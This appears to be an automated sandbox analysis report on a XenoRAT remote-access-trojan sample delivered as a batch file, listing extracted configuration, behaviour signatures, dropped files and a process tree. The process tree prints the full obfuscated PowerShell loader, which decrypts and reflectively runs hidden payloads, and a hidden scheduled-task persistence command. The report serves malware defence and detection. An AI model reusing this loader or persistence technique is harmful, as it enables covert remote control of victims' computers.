Analysis

  • max time kernel
    144s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/08/2024, 12:24

General

  • Target
    Universe.bat
  • Size 266KB
  • Sample240823-plhhcstcre
  • SHA256 d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xenorat

C2
  • 127.0.0.1

Mutex
  • Xeno_rat_nd8912d

Attributes
  • delay

    5000

  • install_path

    nothingset

  • port

    4444

  • startup_name

    nothingset

Signatures

  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Universe.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Universe.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Universe.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_984_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_984.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3092
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_984.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_984.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4840
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SnMKy725nJUhiMQ+k00yZGWuadijDwJVVBtPnLEkkhk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('axNyr+j+G5sbsmbLId0ybw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FYtig=New-Object System.IO.MemoryStream(,$param_var); $DgoBB=New-Object System.IO.MemoryStream; $zfUXx=New-Object System.IO.Compression.GZipStream($FYtig, [IO.Compression.CompressionMode]::Decompress); $zfUXx.CopyTo($DgoBB); $zfUXx.Dispose(); $FYtig.Dispose(); $DgoBB.Dispose(); $DgoBB.ToArray();}function execute_function($param_var,$param2_var){ $dTUPB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vjclB=$dTUPB.EntryPoint; $vjclB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_984.bat';$KcJLn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_984.bat').Split([Environment]::NewLine);foreach ($wEtNx in $KcJLn) { if ($wEtNx.StartsWith(':: ')) { $xAoQG=$wEtNx.Substring(3); break; }}$payloads_var=[string[]]$xAoQG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1160
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=1296,i,1602949858158667699,12464335823361976127,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:8
    1⤵
      PID:1320

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 e053d1faabd6b36371f452e79cf70591cf45403a671746136a87198694a8fdb9
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 1767b4f469c955d68b8252cb68bf22ed7116ca4cd7793f877763f7e954a72c4a
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_i1dgsko4.hft.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i1dgsko4.hft.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          startup_str_984.bat

          • Path C:\Users\Admin\AppData\Roaming\startup_str_984.bat
          • Size 266KB
          • SHA256 d78ea86672081dae69afc22f94de2ce5e6867653d42d9bb8d215703be3f9f25c
          • MD5 SHA1 SHA512 SSDEEP

          startup_str_984.vbs

          • Path C:\Users\Admin\AppData\Roaming\startup_str_984.vbs
          • Size 115B
          • SHA256 e44b1cb9e698656d1f0e2229e111a5aef43a7d3a3440c5a7fbd15902cd3141c0
          • MD5 SHA1 SHA512

          memory/1160-49-0x0000021D287A0000-0x0000021D287B2000-memory.dmp

          memory/2312-12-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/2312-14-0x000001EFA1060000-0x000001EFA1094000-memory.dmp

          memory/2312-13-0x000001EF9EC10000-0x000001EF9EC18000-memory.dmp

          memory/2312-0-0x00007FFBBC923000-0x00007FFBBC925000-memory.dmp

          memory/2312-11-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/2312-3-0x000001EF9EC40000-0x000001EF9EC62000-memory.dmp

          memory/2312-50-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/3092-25-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/3092-26-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/3092-27-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp

          memory/3092-30-0x00007FFBBC920000-0x00007FFBBD3E1000-memory.dmp